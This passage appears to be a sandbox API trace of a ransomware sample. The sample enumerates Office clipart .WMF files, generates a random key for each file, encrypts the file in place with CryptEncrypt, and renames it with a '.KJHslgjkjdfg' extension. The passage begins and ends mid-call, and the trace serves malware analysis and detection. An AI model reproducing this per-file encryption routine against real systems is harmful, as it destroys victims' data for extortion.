lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.707] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.707] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.708] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.708] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.708] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.708] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.708] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x76ce, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x76ce, lpOverlapped=0x0) returned 1 [0159.709] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x76d0, dwBufLen=0x76d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x76d0) returned 1 [0159.709] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.709] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x76d0, lpOverlapped=0x0) returned 1 [0159.709] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.709] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x77a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.709] SetEndOfFile (hFile=0x114) returned 1 [0159.712] GetProcessHeap () returned 0x2a0000 [0159.712] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.712] GetProcessHeap () returned 0x2a0000 [0159.712] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.kjhslgjkjdfg")) returned 1 [0159.713] CloseHandle (hObject=0x114) returned 1 [0159.713] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb44f00, ftCreationTime.dwHighDateTime=0x1bd4c0c, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4eb44f00, ftLastWriteTime.dwHighDateTime=0x1bd4c0c, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01658_.WMF", cAlternateFileName="")) returned 1 [0159.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.714] GetProcessHeap () returned 0x2a0000 [0159.714] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.714] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.714] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.714] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0159.716] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.716] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.716] GetProcessHeap () returned 0x2a0000 [0159.716] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.716] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.716] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.716] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.716] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.717] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.717] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.717] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.717] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.717] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.717] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.717] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.717] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4604, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4604, lpOverlapped=0x0) returned 1 [0159.718] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4610, dwBufLen=0x4610 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4610) returned 1 [0159.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.718] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4610, lpOverlapped=0x0) returned 1 [0159.718] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x46e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.718] SetEndOfFile (hFile=0x114) returned 1 [0159.720] GetProcessHeap () returned 0x2a0000 [0159.721] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.721] GetProcessHeap () returned 0x2a0000 [0159.721] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.721] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.kjhslgjkjdfg")) returned 1 [0159.722] CloseHandle (hObject=0x114) returned 1 [0159.722] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02ca800, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf02ca800, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1 [0159.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.723] GetProcessHeap () returned 0x2a0000 [0159.723] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.723] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.723] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.723] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.725] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.725] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.725] GetProcessHeap () returned 0x2a0000 [0159.725] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.725] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.725] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.725] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.726] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.726] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.726] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.726] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.726] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.726] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.726] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.726] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.726] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x79cc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x79cc, lpOverlapped=0x0) returned 1 [0159.727] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x79d0, dwBufLen=0x79d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x79d0) returned 1 [0159.728] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.728] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x79d0, lpOverlapped=0x0) returned 1 [0159.728] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.728] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.728] SetEndOfFile (hFile=0x114) returned 1 [0159.730] GetProcessHeap () returned 0x2a0000 [0159.730] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.730] GetProcessHeap () returned 0x2a0000 [0159.730] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.730] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.kjhslgjkjdfg")) returned 1 [0159.731] CloseHandle (hObject=0x114) returned 1 [0159.731] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd62f9d00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd62f9d00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x329e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD01660_.WMF", cAlternateFileName="")) returned 1 [0159.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.732] GetProcessHeap () returned 0x2a0000 [0159.732] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.732] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.732] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.732] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0159.734] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.734] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.734] GetProcessHeap () returned 0x2a0000 [0159.734] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.734] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.734] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.734] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.734] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.734] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.734] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.735] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.735] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.735] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.735] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.735] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.735] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x329e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x329e, lpOverlapped=0x0) returned 1 [0159.736] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x32a0, dwBufLen=0x32a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x32a0) returned 1 [0159.736] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.736] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x32a0, lpOverlapped=0x0) returned 1 [0159.736] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.736] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.736] SetEndOfFile (hFile=0x114) returned 1 [0159.738] GetProcessHeap () returned 0x2a0000 [0159.739] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.739] GetProcessHeap () returned 0x2a0000 [0159.739] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.kjhslgjkjdfg")) returned 1 [0159.740] CloseHandle (hObject=0x114) returned 1 [0159.740] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02068_.WMF", cAlternateFileName="")) returned 1 [0159.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.741] GetProcessHeap () returned 0x2a0000 [0159.741] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.741] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.741] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.741] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.743] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.743] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.743] GetProcessHeap () returned 0x2a0000 [0159.743] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.743] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.743] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.743] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.743] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.743] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.744] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.744] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.744] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.744] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.744] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.744] SetFilePointerEx (in: hFile=0x114, 